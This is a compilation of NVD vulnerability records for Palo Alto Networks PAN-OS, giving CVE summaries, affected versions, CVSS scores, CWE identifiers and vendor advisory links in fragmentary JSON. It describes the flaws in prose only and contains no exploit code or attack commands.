A time-of-check to time-of-use (TOCTOU) race condition vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator with permission to upload plugins to execute arbitrary code with root user privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11; PAN-OS 10.0 versions earlier than PAN-OS 10.0.7; PAN-OS 10.1 versions earlier than PAN-OS 10.1.2. This issue does not affect Prisma Access.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An authentication bypass by spoofing vulnerability exists in the authentication daemon and User-ID components of Palo Alto Networks PAN-OS by failing to verify the integrity of the Kerberos key distribution center (KDC) before authenticating users. This affects all forms of authentication that use a Kerberos authentication profile. A man-in-the-middle type of attacker with the ability to intercept communication between PAN-OS and KDC can login to PAN-OS as an administrator. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All version of PAN-OS 8.0.



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      "value": "An authentication bypass by spoofing vulnerability exists in the authentication daemon and User-ID components of Palo Alto Networks PAN-OS by failing to verify the integrity of the Kerberos key distribution center (KDC) before authenticating users. This affects all forms of authentication that use a Kerberos authentication profile. A man-in-the-middle type of attacker with the ability to intercept communication between PAN-OS and KDC can login to PAN-OS as an administrator. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All version of PAN-OS 8.0."
    },
    {
      "lang": "es",
      "value": "Existe una vulnerabilidad de omisi\u00f3n de autenticaci\u00f3n mediante suplantaci\u00f3n de identidad en el daemon de autenticaci\u00f3n y los componentes de ID de usuario de PAN-OS de Palo Alto Networks al no verificar la integridad del centro de distribuci\u00f3n de claves (KDC) Kerberos antes de autenticar a los usuarios. Esto afecta a todas las formas de autenticaci\u00f3n que usan un perfil de autenticaci\u00f3n Kerberos. Un atacante de tipo intermediario con la capacidad de interceptar la comunicaci\u00f3n entre PAN-OS y KDC puede iniciar sesi\u00f3n en PAN-OS como administrador. Este problema afecta: PAN-OS 7.1 versiones anteriores a la versi\u00f3n 7.1.26; PAN-OS 8.1 versiones anteriores a la versi\u00f3n  8.1.13; PAN-OS 9.0 versiones anteriores a la versi\u00f3n  9.0.6; Todas las versiones de PAN-OS 8.0."
    }
  ],
  "id": "CVE-2020-2002",
  "lastModified": "2024-11-21T05:24:24.980",
  "metrics": {
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        "impactScore": 6.4,
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        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
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        },
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    ]
  },
  "published": "2020-05-13T19:15:12.987",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2020-2002"
    },
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        "Vendor Advisory"
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    }
  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-290"
        }
      ],
      "source": "psirt@paloaltonetworks.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-290"
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      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-04-08 19:15
Modified
2024-11-21 05:11
Summary
TechSupport files generated on Palo Alto Networks VM Series firewalls for Microsoft Azure platform configured with high availability (HA) inadvertently collect Azure dashboard service account credentials. These credentials are equivalent to the credentials associated with the Contributor role in Azure. A user with the credentials will be able to manage all the Azure resources in the subscription except for granting access to other resources. These credentials do not allow login access to the VMs themselves. This issue affects VM Series Plugin versions before 1.0.9 for PAN-OS 9.0. This issue does not affect VM Series in non-HA configurations or on other cloud platforms. It does not affect hardware firewall appliances. Since becoming aware of the issue, Palo Alto Networks has safely deleted all the tech support files with the credentials. We now filter and remove these credentials from all TechSupport files sent to us. The TechSupport files uploaded to Palo Alto Networks systems were only accessible by authorized personnel with valid Palo Alto Networks credentials. We do not have any evidence of malicious access or use of these credentials.
Impacted products
Vendor Product Version
paloaltonetworks vm-series *
paloaltonetworks pan-os 9.0.0



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              "versionEndExcluding": "1.0.9",
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  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "TechSupport files generated on Palo Alto Networks VM Series firewalls for Microsoft Azure platform configured with high availability (HA) inadvertently collect Azure dashboard service account credentials. These credentials are equivalent to the credentials associated with the Contributor role in Azure. A user with the credentials will be able to manage all the Azure resources in the subscription except for granting access to other resources. These credentials do not allow login access to the VMs themselves. This issue affects VM Series Plugin versions before 1.0.9 for PAN-OS 9.0. This issue does not affect VM Series in non-HA configurations or on other cloud platforms. It does not affect hardware firewall appliances. Since becoming aware of the issue, Palo Alto Networks has safely deleted all the tech support files with the credentials. We now filter and remove these credentials from all TechSupport files sent to us. The TechSupport files uploaded to Palo Alto Networks systems were only accessible by authorized personnel with valid Palo Alto Networks credentials. We do not have any evidence of malicious access or use of these credentials."
    },
    {
      "lang": "es",
      "value": "Los archivos TechSupport generados en los firewalls Palo Alto Networks VM Series para la plataforma Microsoft Azure configurados con alta disponibilidad (HA), recopilan inadvertidamente las credenciales de la cuenta de servicio del panel de Azure. Estas credenciales son equivalentes a las credenciales asociadas con el rol Contributor en Azure. Un usuario con las credenciales podr\u00e1 ser capaz de administrar todos los recursos de Azure en la suscripci\u00f3n, excepto para otorgar acceso a otros recursos. Estas credenciales no permiten el acceso de inicio de sesi\u00f3n a las m\u00e1quinas virtuales por si mismas. Este problema afecta a VM Series Plugin versiones anteriores a 1.0.9 para PAN-OS versi\u00f3n 9.0. Este problema no afecta a VM Series en configuraciones que no sean de alta disponibilidad o sobre otras plataformas en la nube. No afecta al hardware de dispositivos firewall. Desde que se conoci\u00f3 el problema, Palo Alto Networks ha eliminado de manera segura todos los archivos de soporte t\u00e9cnico con las credenciales. Ahora filtramos y eliminamos estas credenciales de todos los archivos TechSupport que nos env\u00edan. Los archivos TechSupport cargados en los sistemas de Palo Alto Networks solo eran accesibles por personal autorizado con credenciales v\u00e1lidas de Palo Alto Networks. No tenemos ninguna evidencia de acceso malicioso o uso de estas credenciales."
    }
  ],
  "id": "CVE-2020-1978",
  "lastModified": "2024-11-21T05:11:46.410",
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        },
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  "published": "2020-04-08T19:15:13.277",
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          "value": "CWE-522"
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      "source": "nvd@nist.gov",
      "type": "Primary"
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  ]
}

Vulnerability from fkie_nvd
Published
2022-08-10 16:15
Modified
2024-11-21 06:37
Summary
A PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks. The DoS attack would appear to originate from a Palo Alto Networks PA-Series (hardware), VM-Series (virtual) and CN-Series (container) firewall against an attacker-specified target. To be misused by an external attacker, the firewall configuration must have a URL filtering profile with one or more blocked categories assigned to a source zone that has an external facing interface. This configuration is not typical for URL filtering and, if set, is likely unintended by the administrator. If exploited, this issue would not impact the confidentiality, integrity, or availability of our products. However, the resulting denial-of-service (DoS) attack may help obfuscate the identity of the attacker and implicate the firewall as the source of the attack. We have taken prompt action to address this issue in our PAN-OS software. All software updates for this issue are expected to be released no later than the week of August 15, 2022. This issue does not impact Panorama M-Series or Panorama virtual appliances. This issue has been resolved for all Cloud NGFW and Prisma Access customers and no additional action is required from them.



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  "cisaExploitAdd": "2022-08-22",
  "cisaRequiredAction": "Apply updates per vendor instructions.",
  "cisaVulnerabilityName": "Palo Alto Networks PAN-OS Reflected Amplification Denial-of-Service Vulnerability",
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      "value": "A PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks. The DoS attack would appear to originate from a Palo Alto Networks PA-Series (hardware), VM-Series (virtual) and CN-Series (container) firewall against an attacker-specified target. To be misused by an external attacker, the firewall configuration must have a URL filtering profile with one or more blocked categories assigned to a source zone that has an external facing interface. This configuration is not typical for URL filtering and, if set, is likely unintended by the administrator. If exploited, this issue would not impact the confidentiality, integrity, or availability of our products. However, the resulting denial-of-service (DoS) attack may help obfuscate the identity of the attacker and implicate the firewall as the source of the attack. We have taken prompt action to address this issue in our PAN-OS software. All software updates for this issue are expected to be released no later than the week of August 15, 2022. This issue does not impact Panorama M-Series or Panorama virtual appliances. This issue has been resolved for all Cloud NGFW and Prisma Access customers and no additional action is required from them."
    },
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      "lang": "es",
      "value": "Una mala configuraci\u00f3n de la pol\u00edtica de filtrado de URL de PAN-OS podr\u00eda permitir a un atacante basado en la red conducir ataques de denegaci\u00f3n de servicio TCP reflejados y amplificados (RDoS). El ataque de denegaci\u00f3n de servicio parecer\u00eda originarse desde un firewall de la serie PA (hardware), la serie VM (virtual) y la serie CN (contenedor) de Palo Alto Networks contra un objetivo especificado por el atacante. Para que un atacante externo haga un uso no debido, la configuraci\u00f3n del firewall debe tener un perfil de filtrado de URL con una o m\u00e1s categor\u00edas bloqueadas asignadas a una zona de origen que tenga una interfaz de cara al exterior. Esta configuraci\u00f3n no es t\u00edpica para el filtrado de URL y, si es establecido, es probable que no sea intencionada por el administrador. Si es explotado, este problema no afectar\u00eda a la confidencialidad, integridad o disponibilidad de nuestros productos. Sin embargo, el ataque de denegaci\u00f3n de servicio (DoS) resultando puede ayudar a ofuscar la identidad del atacante e implicar al firewall como la fuente del ataque. Hemos tomado medidas r\u00e1pidas para abordar este problema en nuestro software PAN-OS. Es esperado que todas las actualizaciones de software para este problema sean publicadas a m\u00e1s tardar en la semana del 15 de agosto de 2022. Este problema no afecta a dispositivos virtuales de Panorama M-Series o Panorama. Este problema ha sido resuelto para todos los clientes de Cloud NGFW y Prisma Access y no es requerida ninguna acci\u00f3n adicional por su parte"
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  ],
  "id": "CVE-2022-0028",
  "lastModified": "2024-11-21T06:37:51.117",
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  "references": [
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}

Vulnerability from fkie_nvd
Published
2024-09-11 17:15
Modified
2024-10-03 00:26
Summary
An information exposure vulnerability exists in Palo Alto Networks PAN-OS software that enables a GlobalProtect end user to learn both the configured GlobalProtect uninstall password and the configured disable or disconnect passcode. After the password or passcode is known, end users can uninstall, disable, or disconnect GlobalProtect even if the GlobalProtect app configuration would not normally permit them to do so.



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}

Vulnerability from fkie_nvd
Published
2019-08-23 18:15
Modified
2024-11-21 04:36
Severity ?
Summary
Memory corruption in PAN-OS 7.1.24 and earlier, PAN-OS 8.0.19 and earlier, PAN-OS 8.1.9 and earlier, and PAN-OS 9.0.3 and earlier will allow a remote, unauthenticated user to craft a message to Secure Shell Daemon (SSHD) and corrupt arbitrary memory.



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Vulnerability from fkie_nvd
Published
2016-04-12 17:59
Modified
2024-11-21 02:50
Severity ?
Summary
Buffer overflow in the GlobalProtect Portal in Palo Alto Networks PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5 allows remote attackers to cause a denial of service (device crash) or possibly execute arbitrary code via an SSL VPN request.



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Vulnerability from fkie_nvd
Published
2024-02-14 18:15
Modified
2024-12-09 15:13
Summary
An improper verification vulnerability in the GlobalProtect gateway feature of Palo Alto Networks PAN-OS software enables a malicious user with stolen credentials to establish a VPN connection from an unauthorized IP address.
Impacted products



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      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2024-0009"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
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    }
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  "vulnStatus": "Analyzed",
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      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2017-04-14 14:59
Modified
2024-11-21 03:31
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 7.1.9 allows remote authenticated users to gain privileges via unspecified request parameters.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.4 allows remote attackers to execute arbitrary commands via unspecified vectors, aka Ref ID 30088.
Impacted products



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Vulnerability from fkie_nvd
Published
2024-11-18 16:15
Modified
2024-12-20 16:49
Summary
A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and Prisma Access are not impacted by this vulnerability.



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Vulnerability from fkie_nvd
Published
2017-03-15 14:59
Modified
2024-11-21 03:27
Summary
Cross-site scripting (XSS) vulnerability in the Management Web Interface in Palo Alto Networks PAN-OS 5.1, 6.x before 6.1.16, 7.0.x before 7.0.13, and 7.1.x before 7.1.8 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
Impacted products
Vendor Product Version
paloaltonetworks pan-os 5.1
paloaltonetworks pan-os 6.0
paloaltonetworks pan-os 6.0.1
paloaltonetworks pan-os 6.0.2
paloaltonetworks pan-os 6.0.3
paloaltonetworks pan-os 6.0.4
paloaltonetworks pan-os 6.0.5
paloaltonetworks pan-os 6.0.6
paloaltonetworks pan-os 6.0.7
paloaltonetworks pan-os 6.0.8
paloaltonetworks pan-os 6.0.9
paloaltonetworks pan-os 6.0.10
paloaltonetworks pan-os 6.0.11
paloaltonetworks pan-os 6.0.12
paloaltonetworks pan-os 6.1.0
paloaltonetworks pan-os 6.1.1
paloaltonetworks pan-os 6.1.2
paloaltonetworks pan-os 6.1.3
paloaltonetworks pan-os 6.1.4
paloaltonetworks pan-os 6.1.5
paloaltonetworks pan-os 6.1.6
paloaltonetworks pan-os 6.1.7
paloaltonetworks pan-os 6.1.8
paloaltonetworks pan-os 6.1.9
paloaltonetworks pan-os 6.1.10
paloaltonetworks pan-os 6.1.11
paloaltonetworks pan-os 6.1.12
paloaltonetworks pan-os 6.1.13
paloaltonetworks pan-os 6.1.14
paloaltonetworks pan-os 6.1.15
paloaltonetworks pan-os 7.0.1
paloaltonetworks pan-os 7.0.2
paloaltonetworks pan-os 7.0.3
paloaltonetworks pan-os 7.0.4
paloaltonetworks pan-os 7.0.5
paloaltonetworks pan-os 7.0.5-h2
paloaltonetworks pan-os 7.0.6
paloaltonetworks pan-os 7.0.7
paloaltonetworks pan-os 7.0.8
paloaltonetworks pan-os 7.0.9
paloaltonetworks pan-os 7.0.10
paloaltonetworks pan-os 7.0.11
paloaltonetworks pan-os 7.0.12
paloaltonetworks pan-os 7.1.0
paloaltonetworks pan-os 7.1.1
paloaltonetworks pan-os 7.1.2
paloaltonetworks pan-os 7.1.3
paloaltonetworks pan-os 7.1.4
paloaltonetworks pan-os 7.1.4-h2
paloaltonetworks pan-os 7.1.5
paloaltonetworks pan-os 7.1.6
paloaltonetworks pan-os 7.1.7



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      "value": "Cross-site scripting (XSS) vulnerability in the Management Web Interface in Palo Alto Networks PAN-OS 5.1, 6.x before 6.1.16, 7.0.x before 7.0.13, and 7.1.x before 7.1.8 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors."
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Vulnerability from fkie_nvd
Published
2019-12-20 16:15
Modified
2024-11-21 04:32
Summary
Improper restriction of communications to Log Forwarding Card (LFC) on PA-7000 Series devices with second-generation Switch Management Card (SMC) may allow an attacker with network access to the LFC to gain root access to PAN-OS. This issue affects PAN-OS 9.0 versions prior to 9.0.5-h3 on PA-7080 and PA-7050 devices with an LFC installed and configured. This issue does not affect PA-7000 Series deployments using the first-generation SMC and the Log Processing Card (LPC). This issue does not affect any other PA series devices. This issue does not affect devices without an LFC. This issue does not affect PAN-OS 8.1 or prior releases. This issue only affected a very limited number of customers and we undertook individual outreach to help them upgrade. At the time of publication, all identified customers have upgraded SW or content and are not impacted.
Impacted products



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  ],
  "id": "CVE-2019-17440",
  "lastModified": "2024-11-21T04:32:19.927",
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        "source": "nvd@nist.gov",
        "type": "Primary"
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  },
  "published": "2019-12-20T16:15:11.327",
  "references": [
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      "source": "psirt@paloaltonetworks.com",
      "url": "https://security.paloaltonetworks.com/CVE-2019-17440"
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      "type": "Primary"
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}

Vulnerability from fkie_nvd
Published
2020-03-11 19:15
Modified
2024-11-21 05:11
Summary
A format string vulnerability in the PAN-OS log daemon (logd) on Panorama allows a network based attacker with knowledge of registered firewall devices and access to Panorama management interfaces to execute arbitrary code, bypassing the restricted shell and escalating privileges. This issue affects only PAN-OS 8.1 versions earlier than PAN-OS 8.1.13 on Panorama. This issue does not affect PAN-OS 7.1, PAN-OS 9.0, or later PAN-OS versions.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
An uncontrolled resource consumption vulnerability in Palo Alto Networks PAN-OS allows for a remote unauthenticated user to upload temporary files through the management web interface that are not properly deleted after the request is finished. It is possible for an attacker to disrupt the availability of the management web interface by repeatedly uploading files until available disk space is exhausted. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
An OS command injection vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator with permissions to use XML API the ability to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. This issue does not impact Prisma Access firewalls.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:57
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the web-based device-management API browser in Palo Alto Networks PAN-OS before 4.1.13 and 5.0.x before 5.0.6 allows remote attackers to inject arbitrary web script or HTML via crafted data, aka Ref ID 50908.



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      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Cross-site scripting (XSS) vulnerability in the web-based device-management API browser in Palo Alto Networks PAN-OS before 4.1.13 and 5.0.x before 5.0.6 allows remote attackers to inject arbitrary web script or HTML via crafted data, aka Ref ID 50908."
    },
    {
      "lang": "es",
      "value": "Vulnerabilidad XSS en el navegador web-based device-management API en Palo Alto Networks PAN-OS anterior a  4.1.13 y  5.0.x anterior a  5.0.6, permite a atacantes remotos inyectar secuencias de comandos web o HTML arbitrarias a trav\u00e9s de datos manipulados."
    }
  ],
  "id": "CVE-2013-5664",
  "lastModified": "2024-11-21T01:57:54.580",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "MEDIUM",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "confidentialityImpact": "NONE",
          "integrityImpact": "PARTIAL",
          "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 8.6,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": true
      }
    ]
  },
  "published": "2013-08-31T17:55:03.677",
  "references": [
    {
      "source": "cve@mitre.org",
      "url": "https://security.paloaltonetworks.com/CVE-2013-5664"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://security.paloaltonetworks.com/CVE-2013-5664"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2024-12-27 10:15
Modified
2025-01-14 16:02
Summary
A Denial of Service vulnerability in the DNS Security feature of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to send a malicious packet through the data plane of the firewall that reboots the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *
paloaltonetworks pan-os 10.1.14
paloaltonetworks pan-os 10.1.14
paloaltonetworks pan-os 10.1.14
paloaltonetworks pan-os 10.1.14
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.11
paloaltonetworks pan-os 10.2.11
paloaltonetworks pan-os 10.2.11
paloaltonetworks pan-os 10.2.11
paloaltonetworks pan-os 10.2.11
paloaltonetworks pan-os 10.2.11
paloaltonetworks pan-os 10.2.11
paloaltonetworks pan-os 10.2.12
paloaltonetworks pan-os 10.2.12
paloaltonetworks pan-os 10.2.12
paloaltonetworks pan-os 10.2.12
paloaltonetworks pan-os 10.2.13
paloaltonetworks pan-os 10.2.13
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.2
paloaltonetworks pan-os 11.1.3
paloaltonetworks pan-os 11.1.3
paloaltonetworks pan-os 11.1.3
paloaltonetworks pan-os 11.1.3
paloaltonetworks pan-os 11.1.3
paloaltonetworks pan-os 11.1.3
paloaltonetworks pan-os 11.1.3
paloaltonetworks pan-os 11.1.4
paloaltonetworks pan-os 11.1.4
paloaltonetworks pan-os 11.1.4
paloaltonetworks prisma_access -
paloaltonetworks pan-os *
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.8
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.9
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10
paloaltonetworks pan-os 10.2.10



{
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  "cisaExploitAdd": "2024-12-30",
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  "cisaVulnerabilityName": "Palo Alto Networks PAN-OS Malicious DNS Packet Vulnerability",
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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.11 and 4.0.x before 4.0.9 allows remote authenticated users to execute arbitrary code via unspecified vectors, aka Ref ID 35249.



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  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
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        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An improper input validation vulnerability in the configuration daemon of Palo Alto Networks PAN-OS Panorama allows for a remote unauthenticated user to send a specifically crafted registration request to the device that causes the configuration service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS Panorama services by restarting the device and putting it into maintenance mode. This issue affects: All versions of PAN-OS 7.1, PAN-OS 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7; PAN-OS 9.1 versions earlier than 9.1.0.



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    },
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      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2021-01-13 18:15
Modified
2024-11-21 06:20
Summary
Padding bytes in Ethernet packets on PA-200, PA-220, PA-500, PA-800, PA-2000 Series, PA-3000 Series, PA-3200 Series, PA-5200 Series, and PA-7000 Series firewalls are not cleared before the data frame is created. This leaks a small amount of random information from the firewall memory into the Ethernet packets. An attacker on the same Ethernet subnet as the PAN-OS firewall is able to collect potentially sensitive information from these packets. This issue is also known as Etherleak and is detected by security scanners as CVE-2003-0001. This issue impacts: PAN-OS 8.1 version earlier than PAN-OS 8.1.18; PAN-OS 9.0 versions earlier than PAN-OS 9.0.12; PAN-OS 9.1 versions earlier than PAN-OS 9.1.5.



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  ],
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    },
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      "lang": "es",
      "value": "Los bytes de relleno en los paquetes Ethernet en los firewalls PA-200, PA-220, PA-500, PA-800, PA-2000 Series, PA-3000 Series, PA-3200 Series, PA-5200 Series y PA-7000 Series, no son borrados antes de que se cree la trama de datos.\u0026#xa0;Esto filtra una peque\u00f1a cantidad de informaci\u00f3n aleatoria de la memoria del firewall para los paquetes Ethernet.\u0026#xa0;Un atacante en la misma subred Ethernet que el firewall PAN-OS puede recopilar informaci\u00f3n potencialmente confidencial de estos paquetes.\u0026#xa0;Este problema tambi\u00e9n se conoce como Etherleak y los esc\u00e1neres de seguridad lo detectan como CVE-2003-0001.\u0026#xa0;Este problema afecta: PAN-OS 8.1 versiones anteriores a PAN-OS 8.1.18;\u0026#xa0;PAN-OS 9.0 versiones anteriores a PAN-OS 9.0.12;\u0026#xa0;PAN-OS 9.1 versiones anteriores a PAN-OS 9.1.5."
    }
  ],
  "id": "CVE-2021-3031",
  "lastModified": "2024-11-21T06:20:47.707",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "LOW",
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        },
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  "published": "2021-01-13T18:15:14.603",
  "references": [
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    },
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  ]
}

Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An OS command injection and external control of filename vulnerability in Palo Alto Networks PAN-OS allows authenticated administrators to execute code with root privileges or delete arbitrary system files and impact the system's integrity or cause a denial of service condition. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14.
Impacted products



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  ],
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Vulnerability from fkie_nvd
Published
2020-07-08 17:15
Modified
2024-11-21 05:11
Summary
Certain communication between PAN-OS and cloud-delivered services inadvertently use TLS 1.0, which is known to be a cryptographically weak protocol. These cloud services include Cortex Data Lake, the Customer Support Portal, and the Prisma Access infrastructure. Conditions required for exploitation of known TLS 1.0 weaknesses do not exist for the communication between PAN-OS and cloud-delivered services. We do not believe that any communication is impacted as a result of known attacks against TLS 1.0. This issue impacts: All versions of PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.14; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3. PAN-OS 7.1 is not impacted by this issue.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:11
Summary
A missing authorization vulnerability in the management server component of PAN-OS Panorama allows a remote unauthenticated user to inject messages into the management server ms.log file. This vulnerability can be leveraged to obfuscate an ongoing attack or fabricate log entries in the ms.log file This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.9.



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      "value": "Una vulnerabilidad de falta de autorizaci\u00f3n en el componente management server de PAN-OS Panorama, permite a un usuario no autenticado remoto inyectar mensajes en el archivo ms.log del servidor de administraci\u00f3n. Esta vulnerabilidad puede ser aprovechada para ofuscar un ataque continuado o fabricar entradas de registro en el archivo ms.log. Este problema afecta: Todas las versiones de PAN-OS 7.1 y 8.0; PAN-OS versiones 8.1 anteriores a 8.1.14; PAN-OS versiones 9.0 anteriores a 9.0.9."
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Vulnerability from fkie_nvd
Published
2021-08-11 17:15
Modified
2024-11-21 06:20
Summary
A cryptographically weak pseudo-random number generator (PRNG) is used during authentication to the Palo Alto Networks PAN-OS web interface. This enables an authenticated attacker, with the capability to observe their own authentication secrets over a long duration on the PAN-OS appliance, to impersonate another authenticated web interface administrator's session. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.19; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.10; PAN-OS 10.0 versions earlier than PAN-OS 10.0.4. PAN-OS 10.1 versions are not impacted.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:11
Summary
